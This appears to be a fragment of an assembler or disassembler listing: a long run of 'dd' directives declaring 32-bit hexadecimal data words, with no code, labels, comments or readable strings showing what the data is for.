		dd 1ADCAAh, 0BA22CB9Ch,	0FF00A363h, 96D3C035h, 13CAAB91h
		dd 0D5F82Ch, 0CFB63F35h, 1401DAE8h, 7BD3A742h, 0E0C337F7h
		dd 0CBCC1h, 7FC92AC7h, 0E55195E6h, 0AC382300h, 72EBDBB7h
		dd 0DD10701h, 3A3D1Fh, 93CDE2F3h, 83717900h, 0D544ECBBh
		dd 1477071Eh, 31A68619h, 0C0D626CEh, 0B558938Dh, 804CA8h
		dd 0B48160A7h, 5BEABDh,	3CE3E083h, 0B0327741h, 3F82C100h
		dd 0EA7D1B14h, 1036277Bh, 80A71940h, 0C0B06A03h, 0B01AF8FFh
		dd 775FD67h, 0B82D0E6h,	0EC4F8007h, 761F0204h, 52C088ADh
		dd 51FC5B9Ch, 7E9B7687h, 283560A1h, 0AB81C76Eh,	53390400h
		dd 0A4F605F1h, 955E0025h, 0B47CDDFCh, 70002D5Fh, 73012E54h
		dd 96D78Ch, 0EA2618F6h,	885594C4h, 0FE10C3Dh, 0FF2431h
		dd 0A5351EEh, 67DA0057h, 84EC2089h, 177DD16Ah, 74308C00h
		dd 6E83E7DBh, 2E7807B8h, 0D07DC3ACh, 0CF890390h, 7949D000h
		dd 0E8DE870h, 2220001Eh, 0A19A5436h, 23008618h,	0C9394581h
		dd 3C837674h, 4600306Fh, 0AB6BEA58h, 0F200C3C6h, 15196CADh
		dd 5D11D6h, 0AC30B42Eh,	0BDA46223h, 32B8250Eh, 0C6A64055h
		dd 1FC70D91h, 80010C5Fh, 7C58A1FFh, 0E0050E3h, 27D50537h
		dd 0F2A652C4h, 0FFAC0088h, 2F4B5D22h, 70082A5h,	0B5F730Dh
		dd 33441D6h, 667EDE49h,	25C17AFCh, 5FE36035h, 97FF3600h
		dd 7D800A03h, 0F1C7B13h, 0AFE3710Ch, 2B47941h, 24A06EE5h
		dd 38362635h, 208B00A9h, 0FBEFCD6Eh, 3B06AB1Ch,	59ECC380h
		dd 2234E0h, 76D3C9Ah, 49761479h, 0F2ED4A00h, 0BA735E1Eh
		dd 28D70086h, 0E5B3F899h, 140071D0h, 8883C5D2h,	1DC94ABh
		dd 0BDBBA575h, 3098C909h, 7E391786h, 0B87001ACh, 0DD5DE0CBh
		dd 0CD08BC81h, 30BE404Ch, 7B009FAFh, 0E2160DFh,	8F6232h
		dd 0F65FDA5Ah, 7E9337DBh, 42F2D700h, 0D8B67D7Bh, 684D0755h
		dd 0D7E7296Bh, 5C61AF66h, 0E84FC218h, 7E02BCFCh, 0AE6F2CEEh
		dd 0E74AE344h, 8CF07FA0h, 0FD7566h, 54052D9Ah, 98D733AEh
		dd 0DDB13E00h, 0F0313C53h, 6AEC009Ch, 0F920B9F5h, 3F005DE8h
		dd 87411F01h, 0E18551h,	0B35580A9h, 0BC81492Ah,	0F2313503h
		dd 0E8186DC0h, 0A37412h, 68852141h, 7153D64Bh, 0BE480D00h
		dd 28863C4Fh, 0BFF300D5h, 0A5A6C385h, 8007407h,	73B35002h
		dd 0E16D67h, 37B74787h,	0ADA0F5AFh, 66BF5F00h, 84142DBh
		dd 0E1780Ah, 0FDF120B6h, 0A1E8A5B7h, 44694A24h,	0D9BC3Eh
		dd 89C58882h, 1F793F7Fh, 0C0E7C386h, 0A4870213h, 0AB014F63h
		dd 4DB5A123h, 40F6D4B0h, 7F33B922h, 0CE1C0084h,	0D36B9585h
		dd 2B02BFCFh, 0B4270586h, 1E60DF2Ah, 1F1F51C4h,	0DD0F63D8h
		dd 7D803C89h, 4E75C59Bh, 48D33873h, 44356200h, 584FB365h
		dd 4CA0CF1Dh, 0C160E4C0h, 33AD72h, 7735E186h, 6C3ACB2Ah
		dd 51685F00h, 0DE01704Ch, 0B95E4AC5h, 9B180087h, 0B7E9A1F9h
		dd 0AFEA0E89h, 58A047CEh, 0BB5B01BDh, 6498CB0Bh, 0E79F8FDAh
		dd 7050087Ch, 0DF3826h,	0B6E21401h, 5D0955F5h, 64E92703h
		dd 0E0626D5Ah, 74EEE7h,	0D8BC836Fh, 893C581Bh, 61822100h
		dd 57653329h, 0C36800ECh, 9916FC2Dh, 3403CAC6h,	9D13056Ch
		dd 0E2279014h, 79CC008Ah, 387D86A3h, 639E384h, 0C85F00A2h
		dd 0C63EF42Fh, 0EE3A008Dh, 6AD025D8h, 2BEE7102h, 0D72FA200h
		dd 1FAB8FBFh, 695B0080h, 38AF6291h, 841FE9FAh, 0B2C0572Dh
		dd 0F2466E8h, 0B32F0F23h, 0D0E013E4h, 0FCC9580Eh, 750BFF07h
		dd 0F33065C0h, 1FD77725h, 804609E0h, 0A230234Ch, 0D673CA6Fh
		dd 0AC5BF000h, 0CD4A6E8Ah, 2A164C9Dh, 23E82A00h, 0EFF5E77Eh
		dd 0DEBCC500h, 4EB48884h, 0BE380E07h, 1420F08Fh, 0F5D81980h
		dd 0E9FF1200h, 0A9636287h, 7A070071h, 0E5C379F3h, 5500D2FAh
		dd 500DB278h, 6A87BCCh,	5C59774Eh, 69FE6C45h, 8B24DA00h
		dd 0D6333067h, 7664006Ah, 0B201E4FBh, 0D200625Dh, 96CAEC63h
		dd 0B982EE2h, 0FF08BB35h, 2C002F09h, 1A07A272h,	0D9C71B00h
		dd 0D428E575h, 0DB2500F4h, 0CA7DE22Bh, 2F00DAEBh, 5C1A86F5h
		dd 0AA819Eh, 50F8D697h,	34664A31h, 6807F5B0h, 982AC620h
		dd 52E0C0DFh, 13F87CBh,	0AC9E7067h, 2BF514CAh, 0F880B0h
		dd 9A6A7F29h, 0C3A824F3h, 0F4EED900h, 0D1E09267h, 170803C0h
		dd 231090C7h, 0F50D66D8h, 189EF100h, 36C9D574h,	2F7B00A5h
		dd 3A59B192h, 99076132h, 0BB1AC82Ah, 0C2EAE7F0h, 8182005Eh
		dd 41D14C08h, 0BC070E61h, 7D9506A5h, 0CEE19980h, 6FE50018h
		dd 94D0936Eh, 0ED09814Ch, 80B097E3h, 8AD4DAE2h,	601C00FDh
		dd 712E1B90h, 8C02D59Ch, 23EF3B0Dh, 5A3AC04Ch, 577B002Ah
		dd 0C2E7D454h, 0A8734256h, 7518EA01h, 59F58104h, 0BD939F4h
		dd 8ABCE48Dh, 0D424DA80h, 0E5009917h, 0C7A3FCD8h, 0B020B412h
		dd 718700CAh, 345DDD74h, 0A8002364h, 97476EEAh,	1D5AC166h
		dd 0DF3E3731h, 22AD80B7h, 0BABF67Dh, 0F5B47400h, 8B33099h
		dd 0F7E071Eh, 0E0C8B16Eh, 70491E7h, 0BCCE063Fh,	735C00CAh
		dd 62133B36h, 490900E6h, 0C8233F93h, 74506D32h,	0FB7671E4h
		dd 7919FF00h, 0BC909D92h, 6ED200D6h, 395828CFh,	0C3EA834Ch
		dd 8D00B7E2h, 0AC316BB2h, 773CDAh, 78901F3Eh, 93C77684h
		dd 114CB100h, 67CA27DEh, 740C005Ah, 6FADAE9Ch, 1900E6F5h
		dd 10ED6454h, 0DB9428h,	0DDBA2445h, 1444380Fh, 23D57703h
		dd 0F0F61509h, 2E60D60Ah, 0D865AFh, 485B44BAh, 4A00DDC1h
		dd 676B8213h, 0BF10F37h, 5D907DD1h, 23DACE0h, 2819CB07h
		dd 0D6D130F9h, 0CDD805B1h, 67C90385h, 0D5AF1EC0h, 0A5BD2490h
		dd 0E33FDCFEh, 0CA7A8F2Ah, 8437006Ah, 283044ECh, 0EBCBF3h
		dd 0C1714234h, 490C61C6h, 0AA47000h, 0FD5C7FDBh, 0F94500ABh
		dd 7634C9FFh, 7A780F2Dh, 62C30700h, 3FA36192h, 99E200F1h
		dd 0E1D81FFh, 0E403FAD6h, 9A6CC403h, 44DC889h, 88070030h
		dd 9D7D7160h, 0BBB8BE69h, 6D224300h, 0E12E0A66h, 3E6F00B4h
		dd 64A86173h, 0BA1CE6FDh, 6C40D74Ah, 0E4DB2C45h, 9820003Dh
		dd 22F21ACh, 0B800AA9Fh, 33A44095h, 187D4AA8h, 40728F0Fh
		dd 4EFC4D19h, 5C4B6700h, 0D4318689h, 0F1880046h, 0E14CCE36h
		dd 3300C52Dh, 7219F0C3h, 0B98017h, 21D63C2Bh, 66A4E97Ch
		dd 4800C0E8h, 4CBE58C5h, 7080B96h, 13DA76ADh, 49B6A04Dh
		dd 0AE00D07Ah, 0BCACA2D9h, 3CC5B01Ch, 0FB80F495h, 215F089Ah
		dd 4F00194Ch, 7F8C047h
		dd 177E3E4h, 0B7BFC46Ah, 0D822EABBh, 0AE005E13h, 0B1B5C65Dh
		dd 0D7EE6Dh, 0E6B0DC01h, 0A93E5C5Fh, 0B6A4DA00h, 5429967Ch
		dd 28D800F9h, 40DE8487h, 6FFE0C0Ah, 0E1D54F00h,	78BC1151h
		dd 30380003h, 872DC569h, 8B003735h, 0B54FA23Ch,	3F7798F8h
		dd 1F376C8h, 0AE4E1125h, 0F036AD75h, 0F2036E30h, 8D2A850Dh
		dd 102C813Ch, 79302C8h,	0B8352B5Ch, 34E896B0h, 76402A1Ch
		dd 7F013800h, 0C206D9h,	0A00774F6h, 30B2C8E4h, 0D790151Dh
		dd 88F366C1h, 0A1FC5FAEh, 5570163h, 7259B8B5h, 4BD2C036h
		dd 0FBCFD700h, 507BD30Bh, 73B008Dh, 9F4C8FEh, 0D4176090h
		dd 1A038A3Ah, 91CB1CF8h, 0FAC0618Fh, 0CE0F0945h, 0A40085C0h
		dd 0BE360756h, 3042E400h, 0BA54A798h, 6ABC00B9h, 62EADF5Bh
		dd 200266Eh, 0BCD95B4h,	1FF48EFFh, 0C099EE58h, 9D560660h
		dd 0C2000F53h, 32FDCD3Dh, 7F2A9081h, 0B47A03BFh, 34ACE97Eh
		dd 0F1F771C8h, 0D6F0FF00h, 0B6CF05E0h, 25E07D5h, 0F09F66F2h
		dd 42EC1282h, 9EB5F03Ch, 0A4CFE5FBh, 0ABBB6051h, 2A3DFAh
		dd 8A779353h, 9049414Ah, 7F593A03h, 0D83BDB15h,	1DBA1C3Dh
		dd 21453Ch, 0E2A68D09h,	130EF32Fh, 4FCD3250h, 0A400F7D2h
		dd 0F7581F42h, 0B31E1E55h, 808343ACh, 0B8B00F09h, 0B9016B41h
		dd 11A1CE69h, 0D020226Eh, 0EC340156h, 7EBA452h,	9B66D47Eh
		dd 9A5E1F07h, 83B04AA6h, 39691513h, 6F0037FDh, 437D617Ah
		dd 0F93B65CBh, 7F3100FAh, 3ED33CF6h, 0F4210356h, 9018C72Fh
		dd 0FFCF90F7h, 0DC079CDFh, 4FAF1C33h, 0D3E9B2F0h, 0D514039Eh
		dd 0DE413C54h, 0E3A18FB0h, 8D8C5B04h, 0C080824Fh, 0E9F116h
		dd 0CF694E51h, 4CD8393Ch, 17EBCE0Eh, 6F9C6056h,	0A2E4C4h
		dd 3338A3D7h, 212B4263h, 0E7468E09h, 2F8980B6h,	12CF91h
		dd 0E05D4AD7h, 4B79F9DEh, 0A0FED300h, 3358081Dh, 0CFE71D3Fh
		dd 5244C0BAh, 0BCE2CCFAh, 8C626E00h, 0EFD0D476h, 6CA200C8h
		dd 0E2206A4h, 0EA76D62Ch, 72B96E00h, 0A3DDA3Eh,	1D23A1Eh
		dd 0EF0060BEh, 0C29E9CADh, 43054D54h, 1E831FA0h, 0A8F1B1C3h
		dd 0BE8FDEh, 50337AF2h,	22E474D1h, 6CAED800h, 8E7D3D88h
		dd 435D095Ch, 3DD2E76h,	80648A3Eh, 0D2F73Ch, 0A32C1484h
		dd 15397FEEh, 0A7D19700h, 2131EA1h, 332A0F17h, 0F6205A9Dh
		dd 5699CC69h, 0E79E181Eh, 73A5780h, 0C5C2E8h, 0BBB0ACF3h
		dd 0C9FBBC8Bh, 0D1C1CB00h, 0BFDC1C0Dh, 69C40066h, 3AB3E0D5h
		dd 0AE002EEEh, 0E6EFA5F6h, 0AC791Dh, 45D66FF4h,	3DF1A266h
		dd 72CFFF00h, 125FE326h, 0BDEC3Ch, 930E9764h, 69D8A0AEh
		dd 0C50AD300h, 0E4AC7B42h, 0EA2D0148h, 86504DAAh, 43FA8036h
		dd 4AB6B2B9h, 586D1F7Fh, 6D60022h, 38EE4F04h, 323A100h
		dd 63C79DC9h, 736A00CDh, 291085C3h, 0E20F7BC4h,	0C0C594E0h
		dd 0E91A517Ah, 920601DCh, 0D88C5AF0h, 0D61A837Dh, 9BA34CE4h
		dd 80CCF3ADh, 4903440h,	1CD7EAF6h, 302EC050h, 7100EB53h
		dd 72E0A5CEh, 378F525h,	1C8C7FDAh, 5C88F81Ah, 8900B9E2h
		dd 69715092h, 7AA6DCh, 5D199EC4h, 8DC002B7h, 0F149AE00h
		dd 1C7FBA2Dh, 0DCC30095h, 78C9224h, 4D004333h, 652137A7h
		dd 782302Ch, 98CB5031h,	3B09F053h, 9A167615h, 0A8008486h
		dd 0E0C507D1h, 0E8D1E2Ch, 8AB24006h, 0D0A150EBh, 0A9FB4D00h
		dd 0C56FCCCBh, 0CE513BD6h, 4BE700F3h, 63ED6A66h, 2B00DFD2h
		dd 21DA10Fh, 0AA55EAh, 0D0E6CC26h, 0E2F56706h, 0DE01431Eh
		dd 95F3E840h, 1DF7F117h, 5D3D3F44h, 1F7D7C0Ah, 41994830h
		dd 7661B595h, 8029D490h, 33208100h, 0D086F577h,	6FD9013Bh
		dd 75DC7057h, 0E0007E65h, 0EF84B583h, 1663DCFh,	7276F000h
		dd 0AECCC11h, 8018D100h, 6A8D4ACDh, 791EE09h, 0B3E4EB67h
		dd 5772909Ch, 5458A3BEh, 34C30A32h, 0CC03D712h,	0D3060962h
		dd 9A37B8C9h, 0BA8100BCh, 0C0F0705Ch, 0CA3D9F27h, 0EDF8800Eh
		dd 0DE55CEA3h, 0ABC40792h, 9038C5F5h, 94BA9190h, 10766E2Ch
		dd 2FA4003Eh, 46E8F33Ah, 0D0EC8Dh, 6A9D3CC1h, 261E32FAh
		dd 6C4F550Bh, 25EA00F2h, 0F40D8254h, 0E7E300CEh, 8E3C789Bh
		dd 1AB0B8F3h, 0DB7F811Eh, 0A6706D80h, 0FCBBE5A4h, 5579A1h
		dd 0DE078E22h, 4AE41976h, 722D9A0Eh, 209440EEh,	3BE21240h
		dd 9200CE75h, 0AA1FF784h, 61001CAEh, 7CC789ADh,	3E861965h
		dd 0F08013DBh, 0CF6A5B17h, 4C00344Fh, 98A0E9DCh, 8569CCh
		dd 6CEB482Bh, 75F4B274h, 0D1840300h, 561C0253h,	0C260029h
		dd 42CB855Bh, 2A00A2A3h, 2511158Eh, 0EA2474h, 0DC318B30h
		dd 5EC4E259h, 63AFDA00h, 36C8E993h, 8F833F2Dh, 6457B880h
		dd 9EFBC9D0h, 0E28B3400h, 0F1FF4DA2h, 98EA1Eh, 1BB6D12Ah
		dd 0CC2725F6h, 0E8007BE4h, 0E145ECF5h, 0C50BC1h, 38D9C674h
		dd 5D7A0DBAh, 9165A200h, 0C2B3128Ch, 965C006Ah,	35486757h
		dd 8B1EE915h, 3004973h,	32752871h, 13720088h, 5EED65F3h
		dd 0F10052A0h, 26EB1117h, 3EADBBh, 70933F4Ah, 0A66822B8h
		dd 40EE38h, 0C6C1CF4Dh,	0B06426h, 0D1899D2Fh, 0EB324916h
		dd 3C510100h, 5CA4748Dh, 3B2400EAh, 4E820FD2h, 2B38EBAAh
		dd 463F0075h, 932DE174h, 728FE007h, 5CBB0F91h, 0C0BE4AC4h
		dd 0E056F91Bh, 7E3C1376h, 6ECA00E1h, 9FF482Eh, 0AB800B01h
		dd 0B58ED0ACh, 0ECEE4AA0h, 0DDFC5A95h, 2A20DF00h, 4671548Ah
		dd 390F07D3h, 30A15E48h, 0B1CB368Ch, 511B000h, 5AF46776h
		dd 0C88700F5h, 62CAC5DBh, 0A07C9D2h, 0F2A27BBh,	0CE36AD80h
		dd 7567D09h, 1EA34AA0h,	0FABBF25Ch, 294FC3E0h, 7FA6200Eh
		dd 502FA093h, 1E11D72Ah, 0ED7A84h, 9D5A858Fh, 0E0004A8Dh
		dd 3DCFF359h, 1D98F9B0h, 0FD29C07Fh, 0AA5908Fh,	0B8CE4BC0h
		dd 210077DCh, 803770C7h, 4975ECh, 855F19F0h, 3F7DC5D6h
		dd 43AEEE00h, 7EF72F5Ch, 62330003h, 50328856h, 790E023Ch
		dd 45E621FCh, 9183598Bh, 0D0D624h, 0D082CEDDh, 63150F7Ch
		dd 0F4CB5Ch, 1DED92B1h,	4EF676h, 6252C3ECh, 9B6902CFh
		dd 0F9CE5C01h, 0ACD16C55h, 7923D6DCh, 731F773Eh, 50F53B1Eh
		dd 0FB00005Ch, 0A91422B0h, 3C00C8A0h, 4EFC53F2h, 500419h
		dd 881A2E02h, 444DA90Bh, 34BE2800h, 6553EC1h, 9A6C0FE6h
		dd 3AA0B99Eh, 0C701ECCEh, 5F17FA02h, 0E0D3C853h, 0E92D30h
		dd 0BA6C4B4h, 19C632BEh, 2A716400h, 4DD4DCA5h, 5111009Dh
		dd 758A4ACh, 898FF05h, 0F0663Ch, 9E3C0332h, 0AB708Dh, 69A4EE4Eh
		dd 0B7C214CDh, 7BB59600h, 21E95B8h, 73AE0047h, 222ED176h
		dd 0CA00FD44h, 50721CDFh, 0DA931Bh, 7EDC4116h, 0DE40B9EBh
		dd 77B62501h, 0C60D647Ah, 3C8CE0h, 69810B3Dh, 3F7348C8h
		dd 0CE7CD600h, 0E4068AADh, 0A21400DDh, 7482C2EDh, 5CECFE70h
		dd 3669B600h, 0E27DAFC0h, 0BD22004Bh, 9687B36Dh, 6E00FEF9h
		dd 7CE1E5Fh, 18A4D3h, 3FE230BBh, 5120C7BEh, 0B24FEF00h
		dd 0F70AF857h, 147607BCh, 8081FA33h, 864B093Ch,	0F9A32900h
		dd 916EB302h, 13D30082h, 0D5E04CB0h, 693B7C76h,	0AA0074B4h
		dd 0E12D8808h, 0E2B88BDEh, 0D7B90032h, 30D9C579h, 0B73A8709h
		dd 95679F5Bh, 9A0D28C0h, 1CE83783h, 43D94177h, 0A04959BEh
		dd 58F800D7h, 2E00B89Ch, 16DC2392h, 38860F4Bh, 0C100FB3Eh
		dd 7CA63C76h, 95005E12h, 6B7EB1C2h, 0F7C855h, 92653898h
		dd 0A3D80E74h, 0BA3A080Eh, 0E7EAC024h, 19A2E0h,	0FAE48BFFh
		dd 0F8DD1FA5h
		dd 0C82B5700h, 6F2245D2h, 8E840095h, 5B375D24h,	8700034Eh
		dd 3EDD5188h, 0BF44CDh,	91748659h, 2ECE8908h, 0C0A1D200h
		dd 0CB23F905h, 791B00BEh, 0BA8EA397h, 80000F25h, 0E90107B0h
		dd 2CE31C26h, 17FD3429h, 0E15E0090h, 0BFE6F315h, 4C76F200h
		dd 440CE8F5h, 0BADD00F8h, 5D15E240h, 313FC3A3h,	9E8903C4h
		dd 0E093CFA7h, 0EBD0F83h, 0BF80B291h, 87AB2F81h, 7C457075h
		dd 3698520Fh, 96314182h, 89C84376h, 47AD1D58h, 1BB200E9h
		dd 98AE4F45h, 0BE00F375h, 78D08085h, 1C2CD12Bh,	0C00A1C39h
		dd 0E18967DCh, 4F009E5Dh, 1185B60h, 0E0756h, 8069D9D2h
		dd 5C1F3CF0h, 0C56EE81Dh, 0C310D840h, 64455Eh, 8425D6CCh
		dd 0F8799748h, 68FFB201h, 148D54C4h, 1E2009D0h,	400AD698h
		dd 0EC2F5AEAh, 1600A4BCh, 61DFF178h, 5A364F83h,	0BEB1F05Bh
		dd 9DCB6901h, 0B1A8F3F5h, 7C41ACCh, 0A1A0A291h,	1BF71024h
		dd 0ED0060ADh, 34390D3h, 141A1E61h, 0BEAF7F42h,	53E9900h
		dd 1CB517E5h, 60C47500h, 134C66C3h, 0CFE005Dh, 53DAF4E0h
		dd 0CFEC9D42h, 2A65B800h, 0BB077E87h, 832500A8h, 29EC6AD5h
		dd 100FBB3h, 0CBC1F718h, 1F71E9FDh, 5FAC62BDh, 0F2E641DDh
		dd 0DC6D67CFh, 0E53F4E12h, 253C1Bh, 512E1683h, 5486Ch
		dd 98C3BE77h, 380C3EF8h, 6DAC5200h, 0E0DA2ED0h,	0FAF2A8h
		dd 10961FF2h, 5F9EDC6Ah, 1E898F0Bh, 0AD1F0029h,	3B1F20B3h
		dd 53807D14h, 8819F7B9h, 7501D152h, 0E6D7334Dh,	8BC0B8A9h
		dd 4E220740h, 60F9B134h, 0A63623FAh, 89483Fh, 0C6DA57A7h
		dd 0B688B7h, 0B8C29BD6h, 0D0D9C782h, 950316E6h,	0ACF2522Dh
		dd 7655A8AFh, 5C7103A1h, 0F71E74DDh, 434778A0h,	8340CC00h
		dd 80B88434h, 1DA2006Bh, 7E235C2Bh, 4801756Ah, 3F0E0964h
		dd 43EC30C3h, 59E8007Ch, 54FFF03Dh, 62095C24h, 0DC6B060Dh
		dd 78B400BBh, 0CCD2592Ch, 0AA708800h, 0DAC1E4F8h, 36C6008Bh
		dd 0B1EA9721h, 0BB1CEBFFh, 9E0082F4h, 502DCCA2h, 0E0C4C032h
		dd 0CB7C9957h, 457B9100h, 0AA4F04D5h, 8E98E9h, 0B69F8388h
		dd 5D467ED9h, 3CB4CA00h, 76B25956h, 65A300B3h, 102D4944h
		dd 573F8036h, 0D500728Ch, 0E84BB8A8h, 0CEC8B7h,	0AF9CDDBCh
		dd 2AF79BD1h, 0A2E9901Eh, 0F4F1B900h, 3F202ED8h, 0F68E8FAEh
		dd 49038DE8h, 0E2D08633h, 0EE00EDDBh, 0B14DC923h, 3EFC50CCh
		dd 3A00DA10h, 0D23643DEh, 0EC006082h, 0E61EE33Bh, 0C7AA7Ah
		dd 1D42BC4Fh, 0A8FEE70Ch, 0DC6BEF02h, 40E987A4h, 1E8C41C0h
		dd 813F8DB1h, 0DFEE63ADh, 0CDD0D7EAh, 0FD0B73F3h, 5F9A50h
		dd 39705851h, 60503FEh,	8C0FCF30h, 8FA219B0h, 8744700h
		dd 0D65DA8AEh, 96B4004Fh, 4C04E829h, 0C41CD5DCh, 0F4004EDFh
		dd 2CDA0B9Bh, 0F99C0295h, 0C9DC0639h, 0D199CE0h, 2CA33C26h
		dd 0B2E40800h, 749D91h,	689331CAh, 0AF8452F2h, 7CFCB5Ch
		dd 0EE0D830Bh, 39E518B0h, 341C01D1h, 0CDBC84D5h, 2C38E01Dh
		dd 0F3EF5700h, 8C8D3BC4h, 0E6905Eh, 799BD85Fh, 51821FCFh
		dd 0CB276D00h, 7314DCC0h, 0B11203E5h, 4D7A6A3Bh, 49DA7CE0h
		dd 8804E1Fh, 59A1FC80h,	1D2056C0h, 7FE07317h, 83A5E793h
		dd 0EEF09033h, 30003393h, 6C254301h, 7779F14h, 2EA2F091h
		dd 9069F7DCh, 0CF7465AEh, 4C5AD70Eh, 31F78080h,	3B5CD8h
		dd 9DAF09ABh, 5A431D0Dh, 5E242000h, 15E0A86Eh, 0BBB7009Bh
		dd 0E2623FF0h, 0E1176B2Dh, 0EF1DAD9Ch, 23F3E940h, 2E2783h
		dd 3CEE41EBh, 64F650ACh, 0B646E000h, 0CC288299h, 5FE73A69h
		dd 313F6600h, 680DC25Ah, 0C4730807h, 57D04E3Dh,	3CF48A44h
		dd 0D71E7B1Eh, 41C1C05Ch, 58B05DA0h, 65AB690Bh,	0D0F4809Fh
		dd 1869C1Ch, 0DE134136h, 0C060FED6h, 21002D2Eh,	6C3168B2h
		dd 0AA26EFh, 8732F046h,	672B844Bh, 0D4500200h, 0D743BCF6h
		dd 8F3800DDh, 0E94F6645h, 0C003B17Ah, 42CF8CEDh, 8A0D802Ah
		dd 0D1880099h, 0B156B687h, 0DE007E02h, 0A50B82FDh, 1E8C22F3h
		dd 4035777Bh, 535EF126h, 6439E1E4h, 0AB4D0070h,	6A9346DFh
		dd 0D9221F20h, 0F88F4076h, 9D564C2Ah, 0EF501306h, 0F54D815h
		dd 0F13FD94Dh, 0EA2A6F00h, 8E03B64Ch, 195C49C3h, 3AA0D09Fh
		dd 9C7300C4h, 0ED1C8CEBh, 0E6FC8F29h, 0F20088E0h, 0F717BB36h
		dd 2325CCh, 7069AC86h, 940B18BDh, 0BF3B8198h, 6359173Eh
		dd 0EDB02701h, 21706270h, 0FE301DC1h, 5F1F01ACh, 0E0CFD0B5h
		dd 29007797h, 0BE0D16EAh, 0AEEA3h, 9AACEB4Ah, 0CE5D80D5h
		dd 336AA400h, 96FFAF1Bh, 167A0FDDh, 42012D54h, 0F415ADB9h
		dd 4F052941h, 1C05BE6Ah, 67659D00h, 37F6A2h, 3FA91D8Ch
		dd 56A3FE9Eh, 0C84CBD00h, 5C0C04D7h, 6E4E03CBh,	1711EC47h
		dd 0A1CFABB8h, 226FFF00h, 0E2B90BFBh, 0D1D80773h, 40F791C6h
		dd 42E98F2Eh, 0AFE59300h, 593007F0h, 248663D9h,	3D8B1FEh
		dd 0C20032E9h, 0A0101D73h, 1834B8h, 0D13A9A0Fh,	0DBE70853h
		dd 661FB60Eh, 55CE0571h, 0A9A6E0h, 32E3D205h, 897268F1h
		dd 79C8D900h, 1A061CC9h, 8881003Bh, 38F5B23Ah, 0E17B2D56h
		dd 450F98E4h, 0E03E5F30h, 0CB778F4Eh, 532C1DEFh, 3C8CC021h
		dd 6AB2A042h, 19CF6D1Ch, 38485D03h, 83B4D8E7h, 812000FDh
		dd 0F7230F94h, 9A0027EEh, 47C88B5Eh, 0D62C11h, 1A25F868h
		dd 1412233h, 0C66E3Ah, 536C4CC7h, 0FE6118CDh, 64B901CAh
		dd 67A92F82h, 22806F7Eh, 0E7852B6h, 0D342DF34h,	0B7A103D6h
		dd 39E09356h, 2E1CCDD4h, 220038D2h, 0B5A5575Dh,	0FA230FCEh
		dd 0B1202FD8h, 281198DFh, 0DE4B7700h, 0DB0216BAh, 42A20E6Dh
		dd 6AA3D669h, 58F84D80h, 2A1C20C0h, 0FB80299Fh,	0AA43EB36h
		dd 0DC130EE3h, 0F04027D4h, 1BEAA20Ah, 7976050Fh, 1A9C8053h
		dd 64DC81h, 0AEFD9432h,	5062878Bh, 0B2EBAF00h, 0D9677071h
		dd 3CA800F6h, 8B4D2229h, 7A03BAB4h, 0D7179F8Dh,	0C846D0B7h
		dd 45E257h, 0D5054F6Ch,	4073227Ch, 13CF1A1Dh, 0DA0F65DEh
		dd 2B8BE0C8h, 7A2C33h, 4B8821F6h, 638470F8h, 5F074200h
		dd 900E2D96h, 13D7041h,	0FE18DE2Ah, 0F8EAC533h,	0B871A8h
		dd 0B9AC3Eh, 0DFFABA3Ch, 714522Bh, 0DD419167h, 0DE4A80F4h
		dd 0FD7F16EEh, 0A350D400h, 64ED927Ah, 0F0D2F062h, 99130021h
		dd 0DAAEC2BDh, 1D00384Fh, 679AC85Bh, 769D863h, 4C5E9C36h
		dd 436BD061h, 5C004D34h, 11F416CAh, 0E3321Ch, 5623C92Ch
		dd 25422958h, 2600F2F2h, 39F81477h, 38DDABB8h, 9FBB61DEh
		dd 0CAE9B080h, 0FCE159Bh, 852F8700h, 0D01706FEh, 1DF01F50h
		dd 0F66A018Fh, 0E0215C2Eh, 55000952h, 33432737h, 0F7E7E0h
		dd 0FBAFB291h, 0A538A23Eh, 5D032474h, 3F43FE04h, 649FF0A3h
		dd 9688008Ah, 6E21E798h, 0DD001AEAh, 7680A7FFh,	94F28Bh
		dd 9C74CFD7h, 280732FCh, 77E5DE07h, 84640231h, 0A5F66A80h
		dd 21BA1FFDh, 748240C7h, 300CDE14h, 251D0F00h, 0E397F1DDh
		dd 83020094h, 6E432A9Bh, 920BF76Ch, 80716BC9h, 0E4C6204h
		dd 34C8037Ah, 76BECE0Dh, 0EC1041C9h, 5B00BD25h,	6E66FBD2h
		dd 2EB7BA4h, 4F3E89E2h,	0AE80C309h, 39FCA863h, 9BE5C500h
		dd 18554C60h, 0C7E21711h, 0FDBF00D3h, 31D673F9h, 51F7B07h
		dd 8C606379h, 0D91C04h,	1F9ED16h, 9456C806h, 0B5088200h
		dd 7C42A853h, 29B20030h, 2EA0C0F5h, 6E8E958h, 0B9115700h
		dd 0ACBBFC80h, 0C430007Ah, 42DC6524h, 4E00D270h, 1AD75B06h
		dd 51125Fh, 0C586855Ch
		dd 0C257E0D5h, 0CA4D8C01h, 4D9304Fh, 764048D4h,	0F73C00A7h
		dd 0BD4F56Bh, 7100B0AEh, 3273EC4Eh, 6674DFh, 0F59B10F1h
		dd 0F7C1F470h, 0DA63370Bh, 0BD5380E3h, 0C7DE8Dh, 2B4134EBh
		dd 54F3A630h, 0D264A400h, 0D1CCBE4Fh, 0EC890052h, 11B76AEFh
		dd 0FC00059Eh, 257190F0h, 0D755E9h, 5A0F8780h, 774159FFh
		dd 61041D1Eh, 39018AA4h, 4DC537E5h, 19312321h, 63BCE0h
		dd 0B2AB1ABEh, 15E6A12Dh, 0EFED3300h, 6B245045h, 0ADD100B4h
		dd 0BDB57E4Ch, 8100D3C8h, 0B7579B2Ch, 93EF03h, 0B6D078F4h
		dd 99529A23h, 55C01400h, 0A795BCBh, 0B2F80036h,	9FFCA5CDh
		dd 93E0E15Ah, 0FAF9D400h, 1817769Dh, 0C45E0007h, 0EE1CA381h
		dd 110951A9h, 5C27E7h, 8ECB2ADEh, 17EEACEh, 55622471h
		dd 606E8DF0h, 0AE004165h, 0C30DC717h, 275D47Eh,	0F7398FFAh
		dd 6840C2FDh, 5B6042F0h, 4B85FF60h, 0E95C0012h,	91868E8h
		dd 1E004058h, 0C71D068Ch, 1636D8h, 0FD253369h, 0ECAEF199h
		dd 0D7B3F801h, 7826E3A5h, 1D222D20h, 0B1912h, 6CBCE481h
		dd 0F20005BBh, 4D131BAAh, 2DA913Ch, 36D58AE7h, 136043B4h
		dd 0C20066CFh, 8FE4B390h, 0F3143Dh, 0AE0A7F29h,	0E090858h
		dd 6395541Eh, 9B79A381h, 0F0FF2B26h, 0D1879Dh, 0DE17CAF9h
